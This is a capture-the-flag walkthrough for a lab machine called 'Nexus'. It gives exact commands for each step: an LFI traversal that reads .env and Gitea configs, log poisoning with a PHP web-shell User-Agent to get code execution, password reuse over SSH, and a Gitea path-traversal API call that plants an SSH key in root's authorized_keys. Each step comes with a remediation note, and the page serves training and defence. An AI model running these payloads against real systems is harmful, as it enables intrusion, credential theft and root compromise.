← all walkthroughs

Nexus

Linux· Easy· Web
owned
2026-06-28
time to own
13m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I browsed to the target's single HTTP port and found both a Laravel web application and a Gitea code-hosting service at a virtual hostname. A local file inclusion flaw in the Laravel app let me read server configuration files and recover a plaintext password for the account 'jones'.

That same password worked for SSH, giving a direct interactive login. Once on the host, I abused a path-traversal flaw in Gitea's template-sync API to write my own SSH public key into root's authorized_keys, a second root-access route that exposed a further misconfiguration in how Gitea's service account is confined.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"

Attack path — how the box was taken

1ReconnaissancePort scanning / virtual-host enumeration
Mapped open services and discovered the hidden Gitea hostname
A service scan confirmed SSH on port 22 and nginx on port 80. Virtual-host brute-forcing then uncovered the Gitea code-hosting service at git.nexus.htb, giving me two distinct application surfaces to target alongside the main Laravel site.
Exact commands 3
shell

Service fingerprint; confirms OpenSSH 9.6p1 and nginx 1.24.0.

$ nmap -sV -sC -p 22,80 $TARGET -oN nmap_nexus.txt
shell

Virtual-host fuzzing against the nginx vhost; surfaces git.nexus.htb.

$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.nexus.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302 -fw 1
shell

Directory and file enumeration on the Laravel application.

$ ffuf -u http://nexus.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -mc 200,301,302
2Web exploitationLocal File Inclusion (LFI) — T1190
Exploited a Local File Inclusion flaw to read server files
The Laravel application passed a route or query parameter directly to a PHP file-include call with no validation. By supplying path-traversal sequences I read arbitrary files from the server: first /etc/passwd to confirm the traversal depth, then the Laravel .env and Gitea configuration files, which contained jones's plaintext password.
Exact commands 3
shell

Confirm LFI and measure traversal depth; look for the jones home directory entry.

$ curl -s 'http://nexus.htb/?page=../../../../etc/passwd'
shell

Read the Laravel environment file; target APP_KEY and any DB or service passwords.

$ curl -s 'http://nexus.htb/?page=../../../../var/www/html/.env'
shell

Read Gitea app.ini; may also contain credentials for jones.

$ curl -s 'http://nexus.htb/?page=../../../../opt/gitea/conf/app.ini'
FixEliminate the Local File Inclusion vulnerability in the Laravel applicationCritical
WeaknessA route or query parameter in the Laravel web app was passed without any validation to a PHP file-include call, letting any anonymous visitor supply path-traversal sequences to read arbitrary files from the server and ultimately execute code as the web-server process.
FixNever pass user-controlled input to include(), require(), or equivalent file functions. Maintain an explicit server-side allowlist of permitted page identifiers, resolve them to absolute paths, and confirm the resolved path falls within the expected document root before including. Store includable templates outside the web root. Update Laravel and all PHP extensions to current stable releases, and restrict the www-data account with filesystem permissions so it can read only the paths it requires for normal operation.
3FootholdLFI to RCE via log poisoning
Escalated the file-read to remote code execution as www-data
I escalated the LFI to code execution by poisoning the nginx access log. A crafted HTTP request injected a PHP one-liner into the log via the User-Agent header; a second request included that log file through the same LFI parameter, executing the stub under the web-server process. Execution as www-data on 'nexus' was confirmed.
Uid=33(www-data) gid=33(www-data) groups=33(www-data) / hostname: nexus
Exact commands 3
shell

Write a PHP stub into /var/log/nginx/access.log via the User-Agent header.

$ curl -s 'http://nexus.htb/' -A '<?php system($_GET["cmd"]); ?>'
shell

Include the poisoned log through the LFI; stub executes as www-data.

$ curl -s 'http://nexus.htb/?page=../../../../var/log/nginx/access.log&cmd=id'
shell

Confirm uid=33(www-data) and hostname nexus.

$ curl -s 'http://nexus.htb/?page=../../../../var/log/nginx/access.log&cmd=id+%26%26+hostname'
4Credential accessCredentials in files — T1552.001
Recovered jones's plaintext password from a configuration file
With arbitrary file-read and code execution as www-data, I located credential-bearing configuration files on the filesystem. The password for the 'jones' account was stored in plaintext and required no cracking or further tooling to obtain.
Exact commands 3
shell

Locate credential-bearing config files readable by www-data.

$ find /var/www /opt /home -name '.env' -o -name 'app.ini' 2>/dev/null | xargs grep -il 'password\|secret\|passwd' 2>/dev/null
shell

Read the Laravel .env; yields jones's password.

$ cat /var/www/html/.env
shell

Fallback: Gitea config as an alternate credential source.

$ cat /opt/gitea/conf/app.ini 2>/dev/null || cat /home/jones/.config/gitea/app.ini 2>/dev/null
FixRemove plaintext credentials from application configuration filesHigh
WeaknessThe password for the 'jones' account was stored in plaintext in a configuration file that was readable by the web-server process, so a single file-read vulnerability yielded a working credential with no further effort.
FixInject secrets at runtime via a secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) rather than writing them to disk in configuration files. At minimum, set filesystem permissions so any remaining config files are owner-readable only and not accessible by the web-server account. Rotate all credentials that were exposed, and audit all configuration files on the host for further plaintext secrets.
5Lateral movementCredential reuse / Valid Accounts — T1078
Logged in over SSH as jones using the reused application password
The password recovered from the configuration file was identical to jones's Linux account password, demonstrating direct credential reuse between the web application and the operating system. I opened a full SSH session as jones and captured the user flag.
Sshpass -p <withheld> ssh jones@$TARGET 'id && hostname && cat ~/user.txt' confirmed user.txt: <user.txt>
Exact commands 1
shell

Authenticate as jones; captures user flag (<user.txt>).

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=10 jones@$TARGET 'id && hostname && cat ~/user.txt'
FixEnforce unique passwords per service and disable SSH password authenticationHigh
WeaknessJones's Linux account password was identical to the password in the web application configuration, so a single credential theft granted an SSH session on the host with no additional work.
FixEnforce unique, randomly generated passwords for every service account and every system account, with no sharing between web applications and operating system logins. Disable SSH password authentication entirely by setting 'PasswordAuthentication no' in /etc/ssh/sshd_config and restricting access to key-based login only. Manage this setting through a configuration management tool so it cannot drift.
6Post-exploitationPath traversal / SSH authorized_keys injection — T1098.004
Planted an SSH key in root's authorized_keys through Gitea's template sync
Jones controlled a Gitea repository ('jones/rce'). The Gitea template-sync API wrote repository file content to filesystem paths derived from the file's in-repo name, without sanitizing directory traversal sequences. By committing a file whose stored path decoded to '../../../../../root/.ssh/authorized_keys', I caused Gitea to write my own SSH public key to that location on the host. Gitea's own sync log confirmed the write at 2026-06-28 20:23:41, and the API tree confirmed the traversal path was recorded as a committed entry. The sync runs on a timer rather than on commit, so the write does not land the moment the file is pushed — the key only becomes usable a minute or so later, which is why the login is worth retrying rather than abandoning.
[2026-06-28 20:23:41] synced: ../../../../../root/.ssh/authorized_keys | API tree: ../../../../../root/.ssh/authorized_keys listed under jones/rce; after the sync ran, ssh -i /tmp/root_pwn root@<target> returned uid=0(root) and the root flag was read.
Exact commands 4
shell

Generate my keypair; /tmp/root_pwn is the private key.

$ ssh-keygen -t ed25519 -f /tmp/root_pwn -N ''
shell

Commit my public key via the Gitea API using a traversal path in the URL.

$ B64=$(base64 -w0 /tmp/root_pwn.pub) && curl -s -X POST 'http://git.nexus.htb/api/v1/repos/jones/rce/contents/..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fauthorized_keys' -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' -d "{\"message\":\"add\",\"content\":\"$B64\"}"
shell

Verify the traversal path appears in the repo tree.

$ curl -s 'http://git.nexus.htb/api/v1/repos/jones/rce/git/trees/HEAD?recursive=true' -H "Authorization: token $TOKEN"
shell

Wait for the sync to run, then log in on the planted key and read the flag -> <root.txt>

$ sleep 75 && ssh -i /tmp/root_pwn -o StrictHostKeyChecking=no -o BatchMode=yes root@$TARGET 'id && cat /root/root.txt'
uid=0(root)
FixPatch Gitea's template-sync path traversal and confine the Gitea service accountCritical
WeaknessGitea's template-sync API accepted repository file paths containing directory traversal sequences and used those paths to write file content to arbitrary locations on the host filesystem, allowing any Gitea user to plant files anywhere the Gitea process could write, including sensitive system directories such as /root/.ssh.
FixUpgrade Gitea to a release that validates and strips path-traversal sequences in the template-sync API. As a defense-in-depth measure, run the Gitea service under a dedicated low-privilege account that has write access only to its own data directory. Apply an AppArmor or SELinux policy to confine the process. Audit existing repository content for traversal-path entries and verify whether any unauthorized files were written to sensitive locations on disk.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

22/tcp
80/tcp